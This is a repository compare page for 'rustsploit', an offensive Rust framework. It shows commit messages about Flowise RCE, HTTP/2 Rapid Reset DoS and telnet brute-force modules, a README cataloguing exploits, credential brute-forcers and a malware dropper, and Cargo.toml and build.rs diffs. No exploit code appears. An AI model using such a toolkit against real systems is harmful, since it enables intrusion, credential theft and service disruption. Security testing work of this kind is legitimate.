Compare commits

...

55 Commits

Author SHA1 Message Date
S.B 874d59a0f3 Delete src directory 2025-11-28 22:18:51 +02:00
S.B f21fab17b8 Update Cargo.toml 2025-11-24 14:05:49 +02:00
S.B fef7339690 Update changelog.md 2025-11-24 14:02:39 +02:00
S.B 4224c696cc Update Cargo.toml 2025-11-24 13:59:23 +02:00
S.B 8c96ee3628 Update changelog.md 2025-11-24 13:57:01 +02:00
S.B 4b63dd711e Add files via upload 2025-11-24 13:55:41 +02:00
S.B 0d81e0e6ed Delete src directory 2025-11-24 13:54:11 +02:00
S.B bae1a091e4 Update telnet_bruteforce.rs 2025-11-24 11:24:57 +02:00
S.B 7ae50993be Add files via upload 2025-11-24 11:23:46 +02:00
S.B 948d802a3b Create empty.txt 2025-11-24 11:23:25 +02:00
S.B cd6ffb9a9e Merge pull request #25 from s-b-repo/DEVORP2
Update Cargo.toml
2025-11-23 22:10:28 +02:00
S.B f8e5c0af46 Update Cargo.toml 2025-11-23 20:27:47 +02:00
S.B 5f75e369cc Merge pull request #24 from s-b-repo/konimta
Konimta
2025-11-20 14:32:19 +02:00
S.B 80a4a5843c Update changelog.md 2025-11-20 14:31:04 +02:00
S.B 1051216ddd Update telnet_bruteforce.rs 2025-11-20 14:28:15 +02:00
S.B 8eb8058ad6 Update README.md 2025-11-20 08:42:10 +02:00
S.B 63f8cac2ca Add files via upload 2025-11-20 08:38:40 +02:00
S.B 71bc20cee0 Merge pull request #23 from s-b-repo/tsinurao-mod-chip
Tsinurao mod chip
2025-11-20 08:36:18 +02:00
S.B 34b6faf140 Update changelog.md 2025-11-20 07:32:13 +02:00
S.B 7f359683da Update changelog.md 2025-11-20 07:31:23 +02:00
S.B 1bbe3ae651 Add files via upload 2025-11-20 07:30:42 +02:00
S.B 6100aa9964 Delete src directory 2025-11-20 07:23:20 +02:00
S.B 0e3da4499f Update README.md 2025-11-16 19:23:51 +02:00
S.B 55a30f91f0 Update README.md 2025-11-16 19:22:16 +02:00
S.B 33284b158a Update Cargo.toml 2025-11-16 19:20:41 +02:00
S.B 624090055c Update changelog.md 2025-11-16 19:19:28 +02:00
S.B f60e5e50ca Add files via upload 2025-11-16 19:18:48 +02:00
S.B 05f1a03dfc Delete src directory 2025-11-16 19:13:49 +02:00
S.B 6dc6d2ecfb Merge pull request #22 from s-b-repo/lots-o-fixes
Lots o fixes
2025-11-15 03:35:56 +02:00
S.B 60163b46e6 Update changelog.md 2025-11-15 03:34:21 +02:00
S.B f185052df1 Update Cargo.toml 2025-11-15 03:32:10 +02:00
S.B a4a466083f Add files via upload 2025-11-15 03:31:38 +02:00
S.B 1e285f95c7 Delete src directory 2025-11-15 03:29:15 +02:00
S.B 9ac7c7fce2 Merge pull request #21 from s-b-repo/dockerize
Dockerize
2025-11-14 15:24:46 +02:00
S.B 268f7cec4f Update README.md 2025-11-14 13:37:38 +02:00
S.B 64c10cde10 Update Cargo.toml 2025-11-14 13:36:22 +02:00
S.B e534341e82 Update changelog.md 2025-11-14 10:09:01 +02:00
S.B ed30bde3ee Update changelog.md 2025-11-14 10:08:20 +02:00
S.B f166b8ac51 Add files via upload 2025-11-14 10:07:31 +02:00
S.B 7e2a244fe5 Add files via upload 2025-11-14 10:06:55 +02:00
S.B 512c75ebf1 Delete src directory 2025-11-14 10:03:32 +02:00
S.B af7b2fc80f Update README.md 2025-11-13 09:58:18 +02:00
S.B 1cdebfead5 Update README.md 2025-11-13 09:57:09 +02:00
S.B 472238a883 Update changelog.md 2025-11-13 09:42:40 +02:00
S.B 408007fded Merge pull request #20 from s-b-repo/api-mode-build.rs-improvements-scanner-improvements
Api mode build.rs improvements scanner improvements
2025-11-13 09:42:08 +02:00
S.B 5cb4694bad Update Cargo.toml 2025-11-13 09:39:39 +02:00
S.B 28c9d27857 Add files via upload
panos module
Added improvements from the new version:
Better error handling with Context for more informative error messages
Enhanced file reading that filters empty lines and comments (lines starting with #)
Colored output:
Yellow for testing/info messages
Green for vulnerable findings
Red for errors/not vulnerable
Cyan for headers and vulnerable URLs
Better feedback messages showing what's being tested
Summary statistics showing vulnerable count for batch scans
Proper error propagation with ? operator


Flowise RCE Module (CVE-2025-59528)

Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/flowise/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display
Interactive prompts (email, password, command)
Login functionality
RCE execution via customMCP endpoint
Error handling with colored output
Cookie-based session management
401 retry logic

Framework Integration:

Auto-discovered by build script
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/http2/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display with legal disclaimer
Interactive prompts (port, SSL, streams, delay, baseline)
Baseline test functionality
Rapid reset attack implementation
Vulnerability analysis with risk assessment
IPv6 support
SSL/TLS support via tokio-rustls
Error handling with colored output

Framework Integration:

Auto-discovered by build script
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset

Dependencies Added:

h2 = "0.3" - HTTP/2 protocol implementation
tokio-rustls = "0.24" - Async TLS support
http = "1.0" - HTTP types


Implementation status
Module structure:
Exported in src/modules/exploits/http2/mod.rs
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
Core functions:
banner() — displays module banner
normalize_host() — handles IPv6 address formatting
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
run() — main entry point with interactive prompts
Features:
SSL/TLS support with proper certificate handling
Non-SSL support for plain HTTP/2
Baseline testing before the attack
Rapid stream creation and reset
Vulnerability analysis with risk assessment
Interactive configuration (port, SSL, streams, delay)
Legal disclaimer and permission check
Fixes applied:
Fixed http version conflict (0.2 to match h2)
Added bytes dependency
Fixed type inference for handshake calls
Fixed send_request API usage
Fixed send_reset return type handling
Removed unused mut keywords
Consistent TLS configuration
Code quality:
No linter errors
No warnings
Proper error handling
Clean code structure
The module is ready to use. You can run it via:
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>



Updated packages
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
Kept compatible versions for:
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
http = "0.2" (required by h2 0.3)
tokio-rustls = "0.24" (compatible with current setup)
Updated to latest ranges:
reqwest = "0.12" (was 0.12.15)
tokio = "1.44" (was 1.44.2)
clap = "4.5" (was 4.5.35)
rustls = "0.23" (was 0.23.26)
bytes = "1.0" (was 1.0)
And all other packages



Improved http_title_scanner to be more robust and flexible:
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
Removed dead code and ensured no unwrap panics on network paths.


Added input validation and sanitization to the API:
New validation helpers:
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
validate_api_key_format: length and ASCII checks
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
Applied protections:
Middleware now rejects malformed API keys early
run_module validates module and target before dispatch; logs use sanitized values
All log messages are passed through sanitize_for_log to avoid log injection
2025-11-13 09:38:57 +02:00
S.B de0ed82830 Delete src directory 2025-11-13 09:37:40 +02:00
S.B f4a554accf Update build.rs 2025-11-12 20:20:03 +02:00
S.B 2e046a4ced Remove assignment details from extra.txt
Removed specific assignment details for a Rust driver.
2025-11-12 20:18:48 +02:00
S.B fd5a180702 Refactor Cargo.toml to remove duplicates
Removed duplicate package information and cleaned up dependencies.
2025-11-12 20:17:37 +02:00
S.B 80903bfdc4 Update Cargo.toml with new dependencies
Added various dependencies for networking, exploitation, and utilities.
2025-11-12 20:17:17 +02:00
S.B 8df8849401 Update changelog.md 2025-11-12 20:16:17 +02:00
S.B b48de95cca Add files via upload 2025-11-12 20:15:32 +02:00
S.B 75c4a0fd71 Delete src directory 2025-11-12 20:14:10 +02:00
82 changed files with 3264 additions and 9503 deletions
+105 -89
View File
@@ -1,98 +1,114 @@
[package]
name = "rustsploit"
version = "0.2.0"
version = "0.3.5"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9.0"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0.97"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.37.2", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
walkdir = "2.5.0"
#ssh
ssh2 = "0.9.5"
# rstp brute forcing
base64 = "0.22.1"
# RDP brute forcing module
rdp = "0.12.8"
# ssdp moudle scanner
regex = "1.11.1"
ipnet = "2.11.0"
#camera uniview exploit
quick-xml = "0.37.4"
#ABUS TVIP Dropbear
md5 = "0.7.0"
ftp = "3.0.1"
#ssh rce race condition
libc = "0.2.172"
futures = "0.3.31"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
#zte rce
# Add these to [dependencies]
aes = "0.8.3"
cipher = "0.4.4"
flate2 = "1.0.30"
# for Roundcube exploit payload encoding
data-encoding = "2.5.0"
#avanti
url = "2.5.4"
semver = "1.0.26"
#stalk route full traceroute
pnet_packet = "0.34" # Or the latest compatible version
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
#pingsweep
which = "8.0.0"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# Core / General
anyhow = "1.0"
colored = "3.0" # newer than 2.0
rand = "0.9"
rustyline = "15.0"
sysinfo = { version = "0.36", features = ["multithread"] }
# CLI & Async runtime
clap = { version = "4.5", features = ["derive"] }
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# HTTP & Web
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
h2 = "0.3"
http = "0.2"
bytes = "1.0"
tokio-rustls = "0.24"
url = "2.5"
quick-xml = "0.37"
data-encoding = "2.5"
semver = "1.0"
# Crypto & Encoding
aes = "0.8"
cipher = "0.4"
md5 = "0.7"
sha2 = "0.10"
hex = "0.4"
flate2 = "1.0"
base64 = "0.22"
# Networking & Protocols
tokio-socks = "0.5"
socket2 = { version = "0.5", features = ["all"] }
pnet_packet = "0.34"
ipnet = "2.11"
ipnetwork = "0.20"
regex = "1.11" # newest listed
which = "8.0"
# FTP
async_ftp = "6.0"
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
native-tls = "0.2"
rustls = "0.23"
webpki-roots = "0.26"
# Telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
# SSH
ssh2 = "0.9"
libc = "0.2"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# Walkdir (used by telnet module)
walkdir = "2.5"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.26"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
uuid = { version = "1.10", features = ["v4"] }
# DNS
hickory-client = { version = "0.24", features = ["dnssec"] }
hickory-proto = "0.24"
# Misc utilities
once_cell = "1.19"
home = "=0.5.11" # pinned for edition 2021 compatibility
[build-dependencies]
regex = "1.11"
# Dependency overrides to address security warnings in transitive dependencies
# Note: These are warnings (not vulnerabilities) in transitive dependencies
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
+251 -19
View File
@@ -3,11 +3,13 @@
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
@@ -16,12 +18,14 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
1. [Highlights](#highlights)
2. [Module Catalog](#module-catalog)
3. [Quick Start](#quick-start)
4. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
5. [CLI Usage](#cli-usage)
6. [Proxy Workflow](#proxy-workflow)
7. [How Modules Are Discovered](#how-modules-are-discovered)
8. [Contributing](#contributing)
9. [Credits](#credits)
4. [Docker Deployment](#docker-deployment)
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [Proxy Workflow](#proxy-workflow)
9. [How Modules Are Discovered](#how-modules-are-discovered)
10. [Contributing](#contributing)
11. [Credits](#credits)
---
@@ -35,6 +39,7 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
-**Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
-**Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
-**Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
-**REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
---
@@ -46,7 +51,7 @@ Rustsploit ships categorized modules under `src/modules/`, automatically exposed
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, StalkRoute traceroute (firewall evasion) |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists and helper files |
@@ -58,7 +63,7 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
### Requirements
```
```
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
```
@@ -67,7 +72,7 @@ Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
### Clone + Build
```
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
@@ -75,23 +80,79 @@ cargo build
### Run (Interactive Shell)
```
```
cargo run
```
### Install (optional)
```
```
cargo install --path .
```
---
## Docker Deployment
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```
python3 scripts/setup_docker.py
```
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
4. Toggle hardening mode and tune the IP limit if desired.
5. Generate:
- `docker/Dockerfile.api` (build + serve stages)
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
### Non-Interactive / CI Usage
All prompts have CLI equivalents:
```
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
--ip-limit 5 \
--skip-up \
--force \
--non-interactive
```
This produces the Docker assets but skips the compose launch. To start the stack later:
```
docker compose -f docker-compose.rustsploit.yml up -d --build
```
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
---
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
```
```text
RustSploit Command Palette
Command Shortcuts Description
--------------- ------------------------- ------------------------------
@@ -110,7 +171,7 @@ exit exit | quit | q Leave shell
Example session:
```
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
@@ -128,7 +189,7 @@ If proxy mode is enabled, Rustsploit rotates through validated proxies, falls ba
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
@@ -143,6 +204,177 @@ Any module exposed to the shell can be called here. Use the `modules` shell comm
---
## API Server Mode
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
### Starting the API Server
```
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
# With hardening enabled (auto-rotate API key on suspicious activity)
cargo run -- --api --api-key your-secret-key-here --harden
# Custom interface and IP limit
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
# Custom port
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
```
### API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
### API Endpoints
All endpoints except `/health` require authentication via the `Authorization` header:
```
# Bearer token format
Authorization: Bearer your-api-key-here
# Or ApiKey format
Authorization: ApiKey your-api-key-here
```
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`POST /api/run`** - Execute a module on a target
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
- **`GET /api/status`** - Get API server status and statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config example
```
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"raw_charset": "",
"raw_min_length": 0,
"raw_max_length": 0,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
### Security Features
#### Rate Limiting
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
- Blocked IPs receive HTTP `429 Too Many Requests` responses
- Failed attempts are logged to both terminal and log file
- Counter resets automatically after the block period expires
- Successful authentication resets the failure counter for that IP
#### Hardening Mode
When `--harden` is enabled:
- Tracks unique IP addresses accessing the API
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
- Logs all rotation events to terminal and `rustsploit_api.log`
- Clears IP tracking after key rotation
#### Logging
All API activity is logged to:
- **Terminal:** Real-time console output with colored status messages
- **Log File:** `rustsploit_api.log` in the current working directory
Log entries include:
- API requests and responses
- Authentication failures and rate limiting events
- IP tracking and hardening actions
- Key rotation events
- Module execution results
### Example API Workflow
```
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
# 2. Check health
curl http://localhost:8080/health
# 3. List available modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Run a port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View tracked IPs
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
```
---
## Proxy Workflow
Rustsploit treats proxy lists as first-class citizens:
@@ -164,7 +396,7 @@ Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed tra
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
```
```rust
pub async fn run(target: &str) -> anyhow::Result<()>;
```
+174 -57
View File
@@ -1,96 +1,213 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
/// Build script that generates module dispatchers for exploits, scanners, and creds.
///
/// This script:
/// - Scans `src/modules/{category}/` directories recursively
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
/// - Generates dispatch functions that support both short names and full paths
/// - Creates deterministic, sorted output for better maintainability
fn main() {
// Tell Cargo to rerun this build script if module directories change
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
generate_dispatch(
"src/modules/exploits",
"exploit_dispatch.rs",
"crate::modules::exploits"
);
generate_dispatch(
"src/modules/creds",
"creds_dispatch.rs",
"crate::modules::creds"
);
generate_dispatch(
"src/modules/scanners",
"scanner_dispatch.rs",
"crate::modules::scanners"
);
// Generate dispatchers for each module category
let categories = vec![
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
];
for (root, out_file, mod_prefix, category_name) in categories {
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
std::process::exit(1);
}
}
}
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
let out_dir = env::var("OUT_DIR").unwrap();
/// Generates a dispatch function for a module category.
///
/// # Arguments
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
/// * `category_name` - Category name for error messages (e.g., "Exploit")
fn generate_dispatch(
root: &str,
out_file: &str,
mod_prefix: &str,
category_name: &str,
) -> Result<(), Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR")
.map_err(|_| "OUT_DIR environment variable not set")?;
let dest_path = Path::new(&out_dir).join(out_file);
let mut file = File::create(&dest_path).unwrap();
let root_path = Path::new(root);
let mut mappings = Vec::new();
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
if !root_path.exists() {
return Err(format!("Module directory '{}' does not exist", root).into());
}
// Collect all module mappings (using HashSet to avoid duplicates)
let mut mappings = HashSet::new();
visit_dirs(root_path, "".to_string(), &mut mappings)?;
if mappings.is_empty() {
eprintln!("⚠️ Warning: No modules found in {}", root);
}
// Sort mappings for deterministic output
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
sorted_mappings.sort_by_key(|(key, _)| key);
// Generate the dispatch function
let mut file = File::create(&dest_path)
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
writeln!(
file,
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
)?;
writeln!(
file,
"/// Dispatches to the appropriate {} module based on module name.\n\
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
category_name.to_lowercase()
)?;
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
)?;
for (key, mod_path) in &mappings {
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_path.replace("/", "::"),
p = mod_prefix
).unwrap();
// Generate match arms for each module (supporting both short and full names)
for (key, mod_path) in &sorted_mappings {
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
// Support both short name and full path
if short_key == *key {
// No subdirectory, only short name
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_code_path,
p = mod_prefix
)?;
} else {
// Has subdirectory, support both short and full
writeln!(
file,
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
short = short_key,
full = key,
m = mod_code_path,
p = mod_prefix
)?;
}
}
writeln!(
file,
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
).unwrap();
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
category_name
)?;
writeln!(file, " }}\n Ok(())\n}}").unwrap();
writeln!(file, " }}\n Ok(())\n}}")?;
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
Ok(())
}
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
/// Recursively visits directories to find all module files.
///
/// # Arguments
/// * `dir` - Directory to scan
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
/// * `mappings` - Set to store (full_path, module_path) tuples
fn visit_dirs(
dir: &Path,
prefix: String,
mappings: &mut HashSet<(String, String)>,
) -> Result<(), Box<dyn std::error::Error>> {
// Compile regex once for better performance
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
.map_err(|e| format!("Failed to compile regex: {}", e))?;
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
if !dir.is_dir() {
return Ok(());
}
if path.is_dir() {
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
if file_name == "mod" {
continue;
}
let mut entries: Vec<_> = fs::read_dir(dir)?
.collect::<Result<Vec<_>, _>>()?;
// Sort entries for deterministic processing
entries.sort_by_key(|e| e.file_name());
let mod_path = format!("{}/{}", prefix, file_name)
.trim_start_matches('/')
.to_string();
let key = mod_path.clone();
for entry in entries {
let path = entry.path();
let file_name = entry.file_name();
let mut source = String::new();
fs::File::open(&path)?.read_to_string(&mut source)?;
if path.is_dir() {
// Recursively visit subdirectories
let sub_prefix = if prefix.is_empty() {
file_name.to_string_lossy().to_string()
} else {
format!("{}/{}", prefix, file_name.to_string_lossy())
};
visit_dirs(&path, sub_prefix, mappings)?;
